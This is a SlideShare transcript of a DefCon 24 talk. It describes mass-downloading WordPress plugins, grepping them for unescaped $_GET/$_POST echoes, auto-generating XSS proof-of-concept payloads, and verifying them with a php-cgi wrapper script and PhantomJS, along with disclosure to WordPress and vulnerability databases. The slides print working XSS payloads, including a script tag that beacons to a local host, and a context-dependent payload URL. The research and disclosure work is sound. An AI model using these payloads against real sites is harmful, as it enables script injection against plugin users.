SlideShare a Scribd company logo
How to Discover 1352
Wordpress Plugin XSS 0days in
one hour
(Not Really)
v1.9
Larry W. Cashdollar
DefCon 24
Speakers Workshop
Who Am I
• Humble Vulnerability Researcher
• 100+ CVEs
• Former Unix Systems Administrator
• ​Penetration Tester Back in Late 90s
• Enjoy Writing Code
• Member of Akamai Security Incident Response Team (SIRT)
• ​Penetration Tester Back in Late
Assumptions
• You know what Wordpress is
• You know what a Wordpress plugin is
• You know what XSS is
• You’re not prone to violence when disappointed…
Why XSS?
• Kept seeing echo $_GET|POST|REQUEST[‘var’] in code
• I thought these were a sure thing*
• Curiosity about vulnerability discovery automation
• Figured I could auto generate PoCs on the fly
* We will explore later where I fu*ked up
Plugin Collection
• Download all 50,000 or so
• Scrape http://plugins.svn.wordpress.org with wget?
Problems
• Wordpress blocked my IP….for 8 months or so
• Get lots of cruft, plugins that had been removed
• We want metadata too!
Plugin Collection v2.0
• Use list of plugins from plugins.svn.wordpress.org as index
• Scrape plugin page http://wordpress.org/plugins/$plugin
• Pipe this all through Proxychains
• Took five days to finish, downloaded 42,478 plugins
XSS mining
• Hack up an old perl script
• look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘
• Try to find variations like $_GET[“ or $_GET[s’ etc..
• Grab line number, & vulnerable code
• Auto generate exploit & title
• Collect vulnerable variables
Auto Generating an XSS PoC
• $_GET and $_REQUEST only
• Create a basic Generic exploit for testing
• var=”><script>alert(1);</script><”
• Where to store all of this?
• I’ve got 900 vulns with 900 untested PoCs…
Building the Database
• create database wpvulndb;
• What columns?
• Store title, plugin name, file, vulnerable code, PoC, date
• Collect metadata & populate more fields in database like version,
author, downloads, download link
• Probably should notify folks at Wordpress and some vulnerability
database folks I know for advice?
• Ran the scripts for $_POST[‘
In Over my head
• I need an adult
• Should notify some smart people of what I’ve done
• plugins@wordpress.org
• Jericho Attrition.org
• Mitre just in case
• Scott Moore -> IBM XForce
• Ryan Dewhurst -> wpvulndb
• Friends at Akamai
• Solar Designer -> oss-security list
Notifications
• Thought I had 1352 legit XSS
• Exported database to various parties
• Had skype call with a group of security researchers from the
University of Stuttgart!
• I was starting to become one of the cool kidz*
*Before it all blows up in my face
Massaging the Data
• Created custom .csv files for anyone who asked
• Sent .sql database + php code to wordpress + friends at German
university
• Worked with Jericho to fix mangled entries etc..
• Took suggestions on what data to store and..
Added moar columns!
• CVE/DWF ID
• Figured I’d notify Mitre and self assign my own DWF IDs
• Type
• Is this via GET or POST or REQUEST
• Nonce
• Does the plugin use nonce?
• Auto_verify
• Boolean - part of the auto exploit stuff I’ll get into
• Filename with out full path
• Just to make things easier
• Vendor contact_date
• Initial plan was to automate notifications…
Validate PoC or Go Home
• I really want to verify what I have with working exploits
• Idea on how to test this automatically
• Would be so cool to have working verified PoC with each vulnerability
entry
Auto Exploit v1.0
• Try to send our auto generated payloads (GET/REQUEST) to 900+
vulnerable plugins
• Setup cgi-bin environment
• exec vulnerable code and inject our javascript payload
• New Payload will be:
"><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><”
• e.php just sets auto_verify to 1 for vdbid $num in database
Auto Exploit: Execute php and render html
• Setup environment variables
• GATEWAY_INTERFACE=CGI/1.1
• PATH_TRANSLATED=vulnerable php filename
• QUERY_STRING=payload
• REDIRECT_STATUS=CGI
• REQUEST_METHOD=GET
Auto Exploit – render to html
#!/bin/sh
CWD=`pwd`
PHPCGI=`which php-cgi`
echo "#################################################################################"
echo "# F4st-cgi exploiter v1.5 #"
echo "#################################################################################"
echo "[+] Setting Full path :$1"
echo "[+] Script file name :$2"
echo "[+] Query string :$3"
echo "[+] Changing working directory to $1"
cd $1
export GATEWAY_INTERFACE=CGI/1.1
export PATH_TRANSLATED=$2
export QUERY_STRING=$3
export REDIRECT_STATUS=CGI
export REQUEST_METHOD=GET
echo -n "[+] exec $PHPCGI"
echo -n " "
echo "$2"
php-cgi $2
cd $CWD
Two Step Process
Generate .html
For loop for all type=GET or type=REQUEST
$ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html
Render .html and exec JavaScript
Tool to use: PhantomJS
PhantomJS
• http://phantomjs.org/
• Full web stack no browser required
• Will execute our Javascript payload
• Generates .html and .png as would be rendered in browser
Scandir.js read .html files from a directory and execute javascript.
files/ has all of our .html files from php5-cgi run
$ phantomjs scandir.js files/
# tail -f /var/log/apache2/access.log
PhantomJS Results
• Looking at file sizes we can tease out interesting results
Results
• 38 exploits fire and set auto_verify = 1 in database
The bad
• I was hoping for another digit in that number
• 38/900=4% success rate #derp
The good
• It worked!
Proves or Disproves:
If successful JS execution
• Code in PoC is escaping tags properly.
• Execution doesn’t require authentication.
• Code isn’t just defined in a class we can’t reach.
• Injection point truly isn’t sanitized.
If unsuccessful JS execution
• Injection point might be sanitized.
• Code might require authentication - admin etc.
• PoC isn’t escaping tags properly.
• Code is part of a class and not easily reachable.
Where I Fu*ked up
• Didn’t have Wordpress in the path*
• Should have notified everyone later on in my research
• Didn’t have entire plugin copied **
• Include or require of other plugin files would fail
• php5-cgi doesn’t set headers
e.g header(‘Content-Type:text/css’); <- not rendered by browser
* Found out Wordpress escapes $_GET $_POST $_REQUEST
** this provided me with some false negatives! 
Wordpress Escaping GET/POST/REQUEST
• browser/trunk/wp-includes/load.php Line 522
523 * Add magic quotes to $_GET, $_POST, $_COOKIE,
and $_SERVER.
.
.
540 $_GET = add_magic_quotes( $_GET );
541 $_POST = add_magic_quotes( $_POST );
541 $_COOKIE = add_magic_quotes( $_COOKIE );
542 $_SERVER = add_magic_quotes( $_SERVER );
• https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals
• https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
Total Verified with honoring headers
• 27 Auto XSS’d
• 3 manually validated that needed some tweaking to
the payload
• False positives too, stuff like:
$_GET['ID'] = (int) $_GET['ID'];
echo $_GET[‘ID’];
Cool kid status
Dang it
What I learned
• Test your stuff end to end!
• Full server stack for any testing
• Research any odd results that aren’t making sense
• The Wordpress escaping GPCS super globals made any XSS in plugin
files loading WP context dependent
• Escapes ’ “ /
Context Dependent XSS
<?php
include ‘wp-load.php’;
.
.
echo “Search Results For:”;
echo $_GET[‘s’];
We can still use
• s=<script>alert(1);</script>
Context Dependent XSS
Code:
<?php
include ‘wp-load.php’;
.
<a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo
$_GET['id']>">Browse</a>
?>
Payload:
http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22
Result:
<a id="upload-browse" class="button”
href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload
</a>"
• Wordpress escapes our quotation marks
Vetting XSS
• I’d need to manually review all 1322 entries
• Not enough time
• dreaming about XSS == stop
What’s Next
• I’m kind of done with WP Plugin XSS
• Some XSS entries might be valid, need testing
• Maybe try looking at fopen(), SQL, unserialize(), passthru(), eval()?
• Other CMSs?
• Joomla does not escape super globals…
• Drupal extensions https://ftp.drupal.org/files/projects/
Researcher Picks Up the Ball
• @BruteLogic uses my technique to find vulnerabilities in open source
PHP applications
• http://brutelogic.com.br/blog/looking-xss-php-source/
• Wrote a script in bash checking for various XSS
• Downloaded lots of open source PHP code
Vulnerabilities in my Database Showing up
• Posted to full disclosure on July 19th by Summer of Pwnage @sumofpwn
• Vulnerability ID 419 in my database
• https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_contact_form_to_e
mail_wordpress_plugin.html
Thank You
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
I’m sorry
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
Questions?
• larry0@me.com or larry@akamai.com
• @_larry0
• http://www.vapidlabs.com
• Greetings to @vladz,@indoushka,@squirrelbudda,
@dotmudge,@brutelogic,@sumofpwn,@gattaca,
@d1rt_diggler,@E1337za and Akamai SIRT

More Related Content

PPTX
Hacking Wordpress Plugins
PPTX
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PPTX
Fun with exploits old and new
PPT
Mining Ruby Gem vulnerabilities for Fun and No Profit.
PPTX
I See You
PPTX
A Forgotten HTTP Invisibility Cloak
PPTX
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Hacking Wordpress Plugins
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Fun with exploits old and new
Mining Ruby Gem vulnerabilities for Fun and No Profit.
I See You
A Forgotten HTTP Invisibility Cloak
Dirty Little Secrets They Didn't Teach You In Pentest Class v2

What's hot (20)

PDF
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
PDF
SANS DFIR Prague: PowerShell & WMI
PDF
Entomology 101
PPTX
Invoke-Obfuscation nullcon 2017
PDF
Windows Attacks AT is the new black
PPTX
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
PPTX
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To...
PDF
DevOops & How I hacked you DevopsDays DC June 2015
PDF
Revoke-Obfuscation
PDF
Getting root with benign app store apps
PPTX
Adventures in Asymmetric Warfare
PDF
DevSec Defense
PDF
Ruxmon feb 2013 what happened to rails
PPTX
Obfuscating The Empire
PPTX
Catch Me If You Can: PowerShell Red vs Blue
PPTX
Invoke-Obfuscation DerbyCon 2016
PPTX
Offensive Python for Pentesting
PDF
Windows attacks - AT is the new black
PDF
Getting root with benign app store apps vsecurityfest
PPTX
Building an Empire with PowerShell
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
SANS DFIR Prague: PowerShell & WMI
Entomology 101
Invoke-Obfuscation nullcon 2017
Windows Attacks AT is the new black
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To...
DevOops & How I hacked you DevopsDays DC June 2015
Revoke-Obfuscation
Getting root with benign app store apps
Adventures in Asymmetric Warfare
DevSec Defense
Ruxmon feb 2013 what happened to rails
Obfuscating The Empire
Catch Me If You Can: PowerShell Red vs Blue
Invoke-Obfuscation DerbyCon 2016
Offensive Python for Pentesting
Windows attacks - AT is the new black
Getting root with benign app store apps vsecurityfest
Building an Empire with PowerShell
Ad

Similar to How to discover 1352 Wordpress plugin 0days in one hour (not really) (20)

PDF
Anatomy of PHP Shells
PDF
Secure PHP Coding
PDF
Automation of web attacks from advisories to create real world exploits
PDF
Wordpress security
PPTX
Wordpress Bug Bounty by Nagendran R.pptx
PDF
WordCamp Milwaukee 2012 - Aaron Saray - Secure Wordpress Coding
PPTX
VAPT PRESENTATION full.pptx
PDF
PHP
PDF
Developer Security for WordPress
PPTX
An introduction to php shells
PDF
My tryst with sourcecode review
PPTX
WordPress Security - Dealing With Today's Hacks
PPTX
Vulnerabilities on Various Data Processing Levels
PPTX
CodeIgniter i18n Security Flaw
PPTX
Reversing Engineering a Web Application - For fun, behavior and detection
PPTX
Slides of ARPCON (File upload vulnerability by Raju Kumar)
PPTX
Vulnerabilities in data processing levels
PPTX
The tale of 100 cve's
PPTX
CONFidence 2014:
PPTX
VAPT_FINAL SLIDES.pptx
Anatomy of PHP Shells
Secure PHP Coding
Automation of web attacks from advisories to create real world exploits
Wordpress security
Wordpress Bug Bounty by Nagendran R.pptx
WordCamp Milwaukee 2012 - Aaron Saray - Secure Wordpress Coding
VAPT PRESENTATION full.pptx
PHP
Developer Security for WordPress
An introduction to php shells
My tryst with sourcecode review
WordPress Security - Dealing With Today's Hacks
Vulnerabilities on Various Data Processing Levels
CodeIgniter i18n Security Flaw
Reversing Engineering a Web Application - For fun, behavior and detection
Slides of ARPCON (File upload vulnerability by Raju Kumar)
Vulnerabilities in data processing levels
The tale of 100 cve's
CONFidence 2014:
VAPT_FINAL SLIDES.pptx
Ad

Recently uploaded (20)

PDF
How AI/LLM recommend to you ? GDG meetup 16 Aug by Fariman Guliev
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PPTX
Operating system designcfffgfgggggggvggggggggg
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
Reimagine Home Health with the Power of Agentic AI​
PPTX
Why Generative AI is the Future of Content, Code & Creativity?
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Complete Guide to Website Development in Malaysia for SMEs
PPTX
history of c programming in notes for students .pptx
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PPTX
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx
PPTX
Weekly report ppt - harsh dattuprasad patel.pptx
PPTX
Monitoring Stack: Grafana, Loki & Promtail
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PDF
Website Design Services for Small Businesses.pdf
PPTX
Oracle Fusion HCM Cloud Demo for Beginners
PDF
Salesforce Agentforce AI Implementation.pdf
How AI/LLM recommend to you ? GDG meetup 16 Aug by Fariman Guliev
CHAPTER 2 - PM Management and IT Context
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Operating system designcfffgfgggggggvggggggggg
Design an Analysis of Algorithms II-SECS-1021-03
Reimagine Home Health with the Power of Agentic AI​
Why Generative AI is the Future of Content, Code & Creativity?
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Complete Guide to Website Development in Malaysia for SMEs
history of c programming in notes for students .pptx
Navsoft: AI-Powered Business Solutions & Custom Software Development
Design an Analysis of Algorithms I-SECS-1021-03
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Log360_SIEM_Solutions Overview PPT_Feb 2020.pptx
Weekly report ppt - harsh dattuprasad patel.pptx
Monitoring Stack: Grafana, Loki & Promtail
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Website Design Services for Small Businesses.pdf
Oracle Fusion HCM Cloud Demo for Beginners
Salesforce Agentforce AI Implementation.pdf

How to discover 1352 Wordpress plugin 0days in one hour (not really)

  • 1. How to Discover 1352 Wordpress Plugin XSS 0days in one hour (Not Really) v1.9 Larry W. Cashdollar DefCon 24 Speakers Workshop
  • 2. Who Am I • Humble Vulnerability Researcher • 100+ CVEs • Former Unix Systems Administrator • ​Penetration Tester Back in Late 90s • Enjoy Writing Code • Member of Akamai Security Incident Response Team (SIRT) • ​Penetration Tester Back in Late
  • 3. Assumptions • You know what Wordpress is • You know what a Wordpress plugin is • You know what XSS is • You’re not prone to violence when disappointed…
  • 4. Why XSS? • Kept seeing echo $_GET|POST|REQUEST[‘var’] in code • I thought these were a sure thing* • Curiosity about vulnerability discovery automation • Figured I could auto generate PoCs on the fly * We will explore later where I fu*ked up
  • 5. Plugin Collection • Download all 50,000 or so • Scrape http://plugins.svn.wordpress.org with wget? Problems • Wordpress blocked my IP….for 8 months or so • Get lots of cruft, plugins that had been removed • We want metadata too!
  • 6. Plugin Collection v2.0 • Use list of plugins from plugins.svn.wordpress.org as index • Scrape plugin page http://wordpress.org/plugins/$plugin • Pipe this all through Proxychains • Took five days to finish, downloaded 42,478 plugins
  • 7. XSS mining • Hack up an old perl script • look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘ • Try to find variations like $_GET[“ or $_GET[s’ etc.. • Grab line number, & vulnerable code • Auto generate exploit & title • Collect vulnerable variables
  • 8. Auto Generating an XSS PoC • $_GET and $_REQUEST only • Create a basic Generic exploit for testing • var=”><script>alert(1);</script><” • Where to store all of this? • I’ve got 900 vulns with 900 untested PoCs…
  • 9. Building the Database • create database wpvulndb; • What columns? • Store title, plugin name, file, vulnerable code, PoC, date • Collect metadata & populate more fields in database like version, author, downloads, download link • Probably should notify folks at Wordpress and some vulnerability database folks I know for advice? • Ran the scripts for $_POST[‘
  • 10. In Over my head • I need an adult • Should notify some smart people of what I’ve done • plugins@wordpress.org • Jericho Attrition.org • Mitre just in case • Scott Moore -> IBM XForce • Ryan Dewhurst -> wpvulndb • Friends at Akamai • Solar Designer -> oss-security list
  • 11. Notifications • Thought I had 1352 legit XSS • Exported database to various parties • Had skype call with a group of security researchers from the University of Stuttgart! • I was starting to become one of the cool kidz* *Before it all blows up in my face
  • 12. Massaging the Data • Created custom .csv files for anyone who asked • Sent .sql database + php code to wordpress + friends at German university • Worked with Jericho to fix mangled entries etc.. • Took suggestions on what data to store and..
  • 13. Added moar columns! • CVE/DWF ID • Figured I’d notify Mitre and self assign my own DWF IDs • Type • Is this via GET or POST or REQUEST • Nonce • Does the plugin use nonce? • Auto_verify • Boolean - part of the auto exploit stuff I’ll get into • Filename with out full path • Just to make things easier • Vendor contact_date • Initial plan was to automate notifications…
  • 14. Validate PoC or Go Home • I really want to verify what I have with working exploits • Idea on how to test this automatically • Would be so cool to have working verified PoC with each vulnerability entry
  • 15. Auto Exploit v1.0 • Try to send our auto generated payloads (GET/REQUEST) to 900+ vulnerable plugins • Setup cgi-bin environment • exec vulnerable code and inject our javascript payload • New Payload will be: "><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><” • e.php just sets auto_verify to 1 for vdbid $num in database
  • 16. Auto Exploit: Execute php and render html • Setup environment variables • GATEWAY_INTERFACE=CGI/1.1 • PATH_TRANSLATED=vulnerable php filename • QUERY_STRING=payload • REDIRECT_STATUS=CGI • REQUEST_METHOD=GET
  • 17. Auto Exploit – render to html #!/bin/sh CWD=`pwd` PHPCGI=`which php-cgi` echo "#################################################################################" echo "# F4st-cgi exploiter v1.5 #" echo "#################################################################################" echo "[+] Setting Full path :$1" echo "[+] Script file name :$2" echo "[+] Query string :$3" echo "[+] Changing working directory to $1" cd $1 export GATEWAY_INTERFACE=CGI/1.1 export PATH_TRANSLATED=$2 export QUERY_STRING=$3 export REDIRECT_STATUS=CGI export REQUEST_METHOD=GET echo -n "[+] exec $PHPCGI" echo -n " " echo "$2" php-cgi $2 cd $CWD
  • 18. Two Step Process Generate .html For loop for all type=GET or type=REQUEST $ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html Render .html and exec JavaScript Tool to use: PhantomJS
  • 19. PhantomJS • http://phantomjs.org/ • Full web stack no browser required • Will execute our Javascript payload • Generates .html and .png as would be rendered in browser Scandir.js read .html files from a directory and execute javascript. files/ has all of our .html files from php5-cgi run $ phantomjs scandir.js files/
  • 20. # tail -f /var/log/apache2/access.log
  • 21. PhantomJS Results • Looking at file sizes we can tease out interesting results
  • 22. Results • 38 exploits fire and set auto_verify = 1 in database The bad • I was hoping for another digit in that number • 38/900=4% success rate #derp The good • It worked!
  • 23. Proves or Disproves: If successful JS execution • Code in PoC is escaping tags properly. • Execution doesn’t require authentication. • Code isn’t just defined in a class we can’t reach. • Injection point truly isn’t sanitized. If unsuccessful JS execution • Injection point might be sanitized. • Code might require authentication - admin etc. • PoC isn’t escaping tags properly. • Code is part of a class and not easily reachable.
  • 24. Where I Fu*ked up • Didn’t have Wordpress in the path* • Should have notified everyone later on in my research • Didn’t have entire plugin copied ** • Include or require of other plugin files would fail • php5-cgi doesn’t set headers e.g header(‘Content-Type:text/css’); <- not rendered by browser * Found out Wordpress escapes $_GET $_POST $_REQUEST ** this provided me with some false negatives! 
  • 25. Wordpress Escaping GET/POST/REQUEST • browser/trunk/wp-includes/load.php Line 522 523 * Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER. . . 540 $_GET = add_magic_quotes( $_GET ); 541 $_POST = add_magic_quotes( $_POST ); 541 $_COOKIE = add_magic_quotes( $_COOKIE ); 542 $_SERVER = add_magic_quotes( $_SERVER ); • https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals • https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
  • 26. Total Verified with honoring headers • 27 Auto XSS’d • 3 manually validated that needed some tweaking to the payload • False positives too, stuff like: $_GET['ID'] = (int) $_GET['ID']; echo $_GET[‘ID’];
  • 28. What I learned • Test your stuff end to end! • Full server stack for any testing • Research any odd results that aren’t making sense • The Wordpress escaping GPCS super globals made any XSS in plugin files loading WP context dependent • Escapes ’ “ /
  • 29. Context Dependent XSS <?php include ‘wp-load.php’; . . echo “Search Results For:”; echo $_GET[‘s’]; We can still use • s=<script>alert(1);</script>
  • 30. Context Dependent XSS Code: <?php include ‘wp-load.php’; . <a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo $_GET['id']>">Browse</a> ?> Payload: http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22 Result: <a id="upload-browse" class="button” href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload </a>" • Wordpress escapes our quotation marks
  • 31. Vetting XSS • I’d need to manually review all 1322 entries • Not enough time • dreaming about XSS == stop
  • 32. What’s Next • I’m kind of done with WP Plugin XSS • Some XSS entries might be valid, need testing • Maybe try looking at fopen(), SQL, unserialize(), passthru(), eval()? • Other CMSs? • Joomla does not escape super globals… • Drupal extensions https://ftp.drupal.org/files/projects/
  • 33. Researcher Picks Up the Ball • @BruteLogic uses my technique to find vulnerabilities in open source PHP applications • http://brutelogic.com.br/blog/looking-xss-php-source/ • Wrote a script in bash checking for various XSS • Downloaded lots of open source PHP code
  • 34. Vulnerabilities in my Database Showing up • Posted to full disclosure on July 19th by Summer of Pwnage @sumofpwn • Vulnerability ID 419 in my database • https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_contact_form_to_e mail_wordpress_plugin.html
  • 35. Thank You • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 36. I’m sorry • Everyone here for listening to me ramble • Brian Martin • Scott Moore • Ryan Duhurst • Mika @ wordpress.org • Solar Designer
  • 37. Questions? • larry0@me.com or larry@akamai.com • @_larry0 • http://www.vapidlabs.com • Greetings to @vladz,@indoushka,@squirrelbudda, @dotmudge,@brutelogic,@sumofpwn,@gattaca, @d1rt_diggler,@E1337za and Akamai SIRT

Editor's Notes

  • #26: Single / double quotes get escaped
  • #29: Someone could be doing something you’re not expecting These would all need manual auditing $_GET; $_POST; REQUEST; COOKIE; SERVER; https://core.trac.wordpress.org/ticket/18322